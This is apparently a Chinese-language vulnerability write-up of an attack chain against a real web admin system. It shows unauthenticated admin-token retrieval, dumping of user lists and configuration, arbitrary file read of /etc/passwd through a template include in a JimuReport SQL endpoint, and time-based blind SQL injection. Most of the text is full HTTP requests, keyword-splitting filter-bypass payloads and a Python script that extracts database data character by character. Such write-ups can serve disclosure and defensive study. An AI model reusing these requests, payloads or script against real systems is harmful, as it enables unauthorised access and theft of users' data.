攻击链

通过接口未授权获取管理员权限

利用管理员权限登陆后台

通过接口进行任意文件读取和sql注入

未授权获取管理员

GET /zhq/system/user/getTokenById?userId=1 HTTP/1.1
Host: 
Cookie: Hm_lvt_d2643ac35f1c11ce5801213abcdb6a35=1767448958; HMACCOUNT=B415E04DF0527593; Hm_lpvt_d2643ac35f1c11ce5801213abcdb6a35=1767448975
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer 
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive

通过接口获取token

响应:

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 03 Jan 2026 18:56:32 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
tlogTraceId: 2007526507691425792
Content-Length: 200

{"code":200,"msg":"已打码","data":null}

下面接管列出当前账户权限

GET /zhq/getInfo HTTP/1.1
Host: 
Cookie: Hm_lvt_d2643ac35f1c11ce5801213abcdb6a35=1767448958; HMACCOUNT=B415E04DF0527593; Hm_lpvt_d2643ac35f1c11ce5801213abcdb6a35=1767448975
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive

可以看到是管理员权限

下面读取所有用户信息

GET /zhq/system/user/list?pageNum=11&pageSize=10000 HTTP/1.1
Host: 
Cookie: Hm_lvt_d2643ac35f1c11ce5801213abcdb6a35=1767448958; HMACCOUNT=B415E04DF0527593; Hm_lpvt_d2643ac35f1c11ce5801213abcdb6a35=1767448975
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive

再读取配置文件

GET /zhq/system/config/list HTTP/1.1
Host: 
Cookie: Hm_lvt_d2643ac35f1c11ce5801213abcdb6a35=1767448958; HMACCOUNT=B415E04DF0527593; Hm_lpvt_d2643ac35f1c11ce5801213abcdb6a35=1767448975
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer:
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 03 Jan 2026 19:02:59 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
tlogTraceId: 2007528134007635968
Content-Length: 7041

已打码信息

可以看到泄露一些内网信息,还有管理员的账户和密码

下面进行登录,只能用手机去尝试进行登录

获取到网站的后台界面。

任意文件读取

漏洞位置:/jmreport/queryFieldBySql

漏洞详细:
POC

POST /zhq/jmreport/queryFieldBySql HTTP/1.1
Host:
Cookie: Hm_lvt_d2643ac35f1c11ce5801213abcdb6a35=1767448958; HMACCOUNT=B415E04DF0527593; Hm_lpvt_d2643ac35f1c11ce5801213abcdb6a35=1767448975
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive
Content-Type: application/json
Content-Length: 52

{
  "sql": "select '<#include \"/etc/passwd\">'"
}

SQL注入

同接口存在sql注入

漏洞接口:/jmreport/queryFieldBySql

漏洞详细

POST /zhq/jmreport/queryFieldBySql HTTP/1.1
Host: 
Cookie: Hm_lvt_d2643ac35f1c11ce5801213abcdb6a35=1767448958; HMACCOUNT=B415E04DF0527593; Hm_lpvt_d2643ac35f1c11ce5801213abcdb6a35=1767448975
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive
Content-Type: application/json
Content-Length: 39

{ "sql": "select ${'s'}${'leep'}(10)" }

测试通过 select sleep(10) 触发了 10 秒的服务器延迟响应

测试通过 `select sleep(5)` 触发了 5 秒的服务器延迟响应

{ "sql": "select ${'s'}${'leep'}(5)" }

脚本自动化

import requests  
import time  
  
url = ""  
token = "你的Token"  
headers = {"Authorization": f"", "Content-Type": "application/json"}  
  
def inject_user():  
    user_name = ""  
    print("[*] 开始注入数据库用户...")  
    for i in range(1, 20): # 假设用户名长度不超过20  
        for char in range(32, 127): # 可打印字符 ASCII 范围  
            # 构造 Payload            payload = {  
                "sql": f"select if(ascii(substring(${{'u'}}${{'ser'}}(),{i},1))={char},${{'s'}}${{'leep'}}(3),1)"  
            }  
            start = time.time()  
            requests.post(url, json=payload, headers=headers)  
            if time.time() - start >= 3:  
                user_name += chr(char)  
                print(f"[+] 发现字符: {user_name}")  
                break  
        else:  
            break # 如果该位没有匹配到字符,说明已经跑完了  
    print(f"[*] 注入成功!当前数据库用户为: {user_name}")  
  
inject_user()

数据库名称:数据库用户为: @172.17.0.1

​

危害:可导致全库数据泄露。通过自动化脚本(时间盲注),攻击者可以拖取用户表、系统配置表中的所有敏感数据。